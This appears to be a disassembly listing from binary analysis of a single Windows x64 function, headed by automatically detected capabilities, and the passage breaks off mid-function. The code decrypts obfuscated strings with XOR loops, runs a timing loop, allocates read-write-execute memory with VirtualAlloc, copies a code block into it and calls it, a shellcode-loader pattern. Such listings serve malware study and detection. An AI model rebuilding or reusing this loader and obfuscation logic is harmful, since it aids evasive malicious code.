Function at 0x140231f20
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Get common file path
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
mov eax, 0x7280
call fcn.14027e170
sub rsp, rax
movaps xmmword [rsp + 0x7270], xmm6
movaps xmmword [rsp + 0x7260], xmm7
movaps xmmword [rsp + 0x7250], xmm8
movaps xmmword [rsp + 0x7240], xmm9
movaps xmmword [rsp + 0x7230], xmm10
movaps xmmword [rsp + 0x7220], xmm11
movaps xmmword [rsp + 0x7210], xmm12
mov rax, qword [0x1402bd028]
xor rax, rsp
mov qword [rsp + 0x7200], rax
xor r12d, r12d
mov edi, r12d
mov dword [rsp + 0x40], r12d
xorps xmm0, xmm0
movups xmmword [rsp + 0xb80], xmm0
lea rdx, [rsp + 0x7298]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rsp + 0xb88], rcx
mov qword [rsp + 0xb90], rdx
mov rax, qword [rdx]
xor rax, rcx
mov qword [rsp + 0xb80], rax
mov qword [rdx], r12
movups xmm0, xmmword [0x1402aa7b0]
movups xmmword [rsp + 0x1f8], xmm0
movsd xmm0, qword [0x1402aa7c0]
movsd qword [rsp + 0x208], xmm0
movzx eax, word [0x1402aa7c8]
mov word [rsp + 0x210], ax
mov esi, dword [0x1402bd008]
lea r15d, [r12 + 6]
lea r14d, [r12 + 0x1f]
cmp byte [0x1402aa7c9], r12b
je 0x1402322c7
mov r9d, r12d
cmp esi, 2
jl 0x140232257
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
movd xmm7, r15d
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad0e0]
movd xmm9, r14d
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x1fc]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x18
jl 0x140232090
cmp r9d, 0x1a
jge 0x1402322c7
movsxd rax, r9d
lea r10, [rsp + 0x1f8]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x1a
jl 0x140232270
xorps xmm0, xmm0
movups xmmword [rsp + 0x3e0], xmm0
mov qword [rsp + 0x3f0], r12
mov qword [rsp + 0x3f8], r12
lea rax, [rsp + 0x1f8]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x1402322f1
lea rdx, [rsp + 0x1f8]
lea rcx, [rsp + 0x3e0]
call fcn.14021d330
lea rcx, [rsp + 0x3e0]
call fcn.140210b20
lea rcx, [rsp + 0x5c0]
call fcn.140228570
lea rdx, [0x1402bff68]
cmp qword [0x1402bff80], 0x10
cmovae rdx, qword [0x1402bff68]
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x14023234f
mov rax, qword [rax]
cmp r8, qword [0x1402bff78]
jne 0x140232368
mov rcx, rax
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140232368
xor bl, bl
jmp 0x14023236a
mov bl, 1
lea rcx, [rsp + 0x5c0]
call fcn.140259200
test bl, bl
je 0x140232559
lea rcx, [rsp + 0x2d8]
call fcn.140228570
mov rdx, rax
lea rcx, [0x1402bff68]
call fcn.140257710
lea rcx, [rsp + 0x2d8]
call fcn.140259200
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rsp + 0x5c60]
call fcn.1402562f0
mov dword [rsp + 0xa30], 0xffffff9c
mov dword [rsp + 0xa34], 0x64
mov dword [rsp + 0x50], r12d
lea rcx, [rsp + 0x2d0]
call fcn.140203190
mov rax, qword [rsp + 0x2d0]
add rax, 0x5f5e100
mov qword [rsp + 0x220], rax
lea rcx, [rsp + 0x2c8]
call fcn.140203190
mov rcx, rax
lea rdx, [rsp + 0x220]
call fcn.1402034a0
mov r13d, 1
test al, al
jns 0x1402324ff
nop word [rax + rax]
mov edi, 0x186a0
nop word [rax + rax]
lea rdx, [rsp + 0x5c60]
lea rcx, [rsp + 0xa30]
call fcn.14025a810
mov ebx, eax
test eax, eax
cmove ebx, r13d
lea rdx, [rsp + 0x5c60]
lea rcx, [rsp + 0xa30]
call fcn.14025a810
mov ecx, dword [rsp + 0x50]
add eax, ecx
mov dword [rsp + 0x50], eax
lea rdx, [rsp + 0x5c60]
lea rcx, [rsp + 0xa30]
call fcn.14025a810
mov ecx, dword [rsp + 0x50]
imul eax, ecx
mov dword [rsp + 0x50], eax
lea rdx, [rsp + 0x5c60]
lea rcx, [rsp + 0xa30]
call fcn.14025a810
mov ecx, dword [rsp + 0x50]
sub ecx, eax
mov dword [rsp + 0x50], ecx
mov eax, dword [rsp + 0x50]
cdq
idiv ebx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
cdq
idiv ebx
mov dword [rsp + 0x50], edx
sub rdi, r13
jne 0x140232440
lea rcx, [rsp + 0x2c8]
call fcn.140203190
mov rcx, rax
lea rdx, [rsp + 0x220]
call fcn.1402034a0
test al, al
js 0x140232430
mov eax, dword [rsp + 0x50]
lea rdx, [0x1402bff68]
lea rcx, [rsp + 0x5a0]
call fcn.1402578e0
mov rdx, rax
lea rcx, [rsp + 0x6c0]
call fcn.14021bbd0
mov rdx, rax
lea rcx, [rsp + 0x6a0]
call fcn.14021b250
mov rdx, rax
lea rcx, [0x1402c02d0]
call fcn.140257710
lea rcx, [rsp + 0x6a0]
call fcn.140259200
mov edi, dword [rsp + 0x40]
jmp 0x14023255f
mov r13d, 1
movups xmm0, xmmword [0x1402ab228]
movups xmmword [rsp + 0x240], xmm0
mov eax, dword [0x1402ab238]
mov dword [rsp + 0x250], eax
movzx eax, byte [0x1402ab23c]
mov byte [rsp + 0x254], al
mov r9d, r12d
cmp esi, 2
jl 0x1402327b7
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
movd xmm7, r15d
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad0e0]
movd xmm9, r14d
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x244]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x10
jl 0x1402325f0
cmp r9d, 0x15
jge 0x140232827
movsxd rax, r9d
lea r10, [rsp + 0x240]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x15
jl 0x1402327d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x380], xmm0
mov qword [rsp + 0x390], r12
mov qword [rsp + 0x398], r12
lea rax, [rsp + 0x240]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140232851
lea rdx, [rsp + 0x240]
lea rcx, [rsp + 0x380]
call fcn.14021d330
lea rcx, [rsp + 0x380]
call fcn.140210b20
lea rdx, [0x1402bdaa0]
lea rcx, [rsp + 0x680]
call fcn.1402578e0
mov rdx, rax
lea rcx, [rsp + 0x660]
call fcn.140230a70
mov rdx, rax
lea rcx, [0x1402bda40]
call fcn.140257710
lea rcx, [rsp + 0x660]
call fcn.140259200
mov dword [rsp + 0x1f0], 0x9c4
lea rcx, [rsp + 0xbe0]
call fcn.14020a170
lea rdx, [rsp + 0x7298]
lea rcx, [rsp + 0xbe0]
call fcn.140203bd0
nop
mov ecx, r12d
mov rax, qword [0x1402c13f0]
lea rbx, [0x14025b2e0]
lea r14, [0x140000000]
test rax, rax
je 0x140232939
mov rdx, r12
nop dword [rax + rax]
cmp rax, rbx
je 0x140232928
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2c13f0]
test rax, rax
jne 0x140232910
jmp 0x140232939
mov r8, qword [r14 + rdx*8 + 0x2c39f0]
test r8, r8
jne 0x140232a1f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140232960
mov r8, r12
jmp 0x1402329fe
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140232970
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c1d60]
mov qword [r14 + rax*8 + 0x2c13f0], rbx
mov qword [r14 + rax*8 + 0x2c39f0], r8
inc rax
mov qword [0x1402c1d60], rax
lea rdx, [rsp + 0x1f0]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rsp + 0xbe0]
xor rcx, qword [rsp + 0xbe8]
mov qword [rsp + 0xbe0], rcx
mov rax, qword [rsp + 0xbf0]
mov qword [rax], rcx
movups xmm0, xmmword [0x1402aab08]
movups xmmword [rsp + 0x258], xmm0
mov eax, dword [0x1402aab18]
mov dword [rsp + 0x268], eax
movzx eax, byte [0x1402aab1c]
mov byte [rsp + 0x26c], al
mov r9d, r12d
cmp esi, 2
jl 0x140232ca7
movdqa xmm10, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad190]
movd xmm7, r15d
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad0e0]
mov eax, 0x1f
movd xmm9, eax
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x25c]
mov edx, dword [rsp + 0x50]
movd xmm5, r9d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [r9 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x10
jl 0x140232ae0
cmp r9d, 0x15
jge 0x140232d17
movsxd rax, r9d
lea r10, [rsp + 0x258]
add r10, rax
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x15
jl 0x140232cc0
xorps xmm0, xmm0
movups xmmword [rsp + 0x3a0], xmm0
mov qword [rsp + 0x3b0], r12
mov qword [rsp + 0x3b8], r12
lea rax, [rsp + 0x258]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140232d41
lea rdx, [rsp + 0x258]
lea rcx, [rsp + 0x3a0]
call fcn.14021d330
lea rcx, [rsp + 0x3a0]
call fcn.140210b20
mov dword [rsp + 0x158], 0x9c4
lea rcx, [rsp + 0xbf8]
call fcn.14020a170
lea rdx, [rsp + 0x7298]
lea rcx, [rsp + 0xbf8]
call fcn.140203bd0
nop
mov ecx, r12d
mov rax, qword [0x1402c13f0]
test rax, rax
je 0x140232dd9
mov rdx, r12
nop dword [rax]
cmp rax, rbx
je 0x140232dc8
inc ecx
mov edx, ecx
mov rax, qword [r14 + rcx*8 + 0x2c13f0]
test rax, rax
jne 0x140232db0
jmp 0x140232dd9
mov r8, qword [r14 + rdx*8 + 0x2c39f0]
test r8, r8
jne 0x140232ebf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x140232e00
mov r8, r12
jmp 0x140232e9e
mov rax, rbx
mov rcx, r8
mov edx, 3
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x140232e10
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x1402c1d60]
mov qword [r14 + rax*8 + 0x2c13f0], rbx
mov qword [r14 + rax*8 + 0x2c39f0], r8
inc rax
mov qword [0x1402c1d60], rax
lea rdx, [rsp + 0x158]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
mov rcx, qword [rsp + 0xbf8]
xor rcx, qword [rsp + 0xc00]
mov qword [rsp + 0xbf8], rcx
mov rax, qword [rsp + 0xc08]
mov qword [rax], rcx
movups xmm0, xmmword [0x1402a9c78]
movups xmmword [rsp + 0x4b0], xmm0
movups xmm1, xmmword [0x1402a9c88]
movups xmmword [rsp + 0x4c0], xmm1
movups xmm0, xmmword [0x1402a9c98]
movups xmmword [rsp + 0x4d0], xmm0
cmp esi, 2
jl 0x140233151
movdqa xmm10, xmmword [0x1402ad0a0]
mov edx, r12d
movdqa xmm6, xmmword [0x1402ad190]
movd xmm7, r15d
movdqa xmm8, xmmword [0x1402ad180]
movdqa xmm11, xmmword [0x1402ad0e0]
mov ebx, 0x1f
movd xmm9, ebx
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rsp + 0x4b4]
mov r8d, dword [rsp + 0x50]
nop dword [rax]
nop dword [rax + rax]
movd xmm5, edx
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
movd dword [rcx - 4], xmm3
lea eax, [rdx + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm10
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
paddd xmm4, xmm5
psrad xmm4, xmm7
pmuldq xmm2, xmm8
pmuldq xmm1, xmm8
shufps xmm2, xmm1, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm7
movdqa xmm1, xmm2
psrld xmm1, xmm9
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm9
paddd xmm0, xmm4
pmulld xmm0, xmm11
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, r8d
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x30
jl 0x140232f90
jmp 0x1402331bc
lea r10, [rsp + 0x4b0]
mov r9d, r12d
nop dword [rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx r8d, r9b
sub r8b, cl
add r8b, r8b
mov eax, 0x9c09c09d
imul r9d
add edx, r9d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x69
sub r8b, cl
add r8b, 0x41
xor byte [r10], r8b
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x30
jl 0x140233160
mov ebx, 0x1f
movsd xmm0, qword [str._717:qb_Q]
movzx eax, byte [0x1402a97e0]
movsd qword [rsp + 0xa0], xmm0
mov byte [rsp + 0xa0], 0x68
xor byte [rsp + 0xa1], 0x43
xor byte [rsp + 0xa2], 0x45
xor byte [rsp + 0xa3], 0x47
xor byte [rsp + 0xa4], 0x49
xor byte [rsp + 0xa5], 0x4b
xor byte [rsp + 0xa6], 0x4d
xor byte [rsp + 0xa7], 0x4f
xor al, 0x51
mov byte [rsp + 0xa8], al
lea r8, [0x1402c0460]
lea rdx, [rsp + 0xa0]
lea rcx, [rsp + 0x640]
call fcn.14025b440
nop
lea r8, [rsp + 0x4b0]
mov rdx, rax
lea rcx, [rsp + 0xc48]
call fcn.14025a710
nop
lea rcx, [rsp + 0x640]
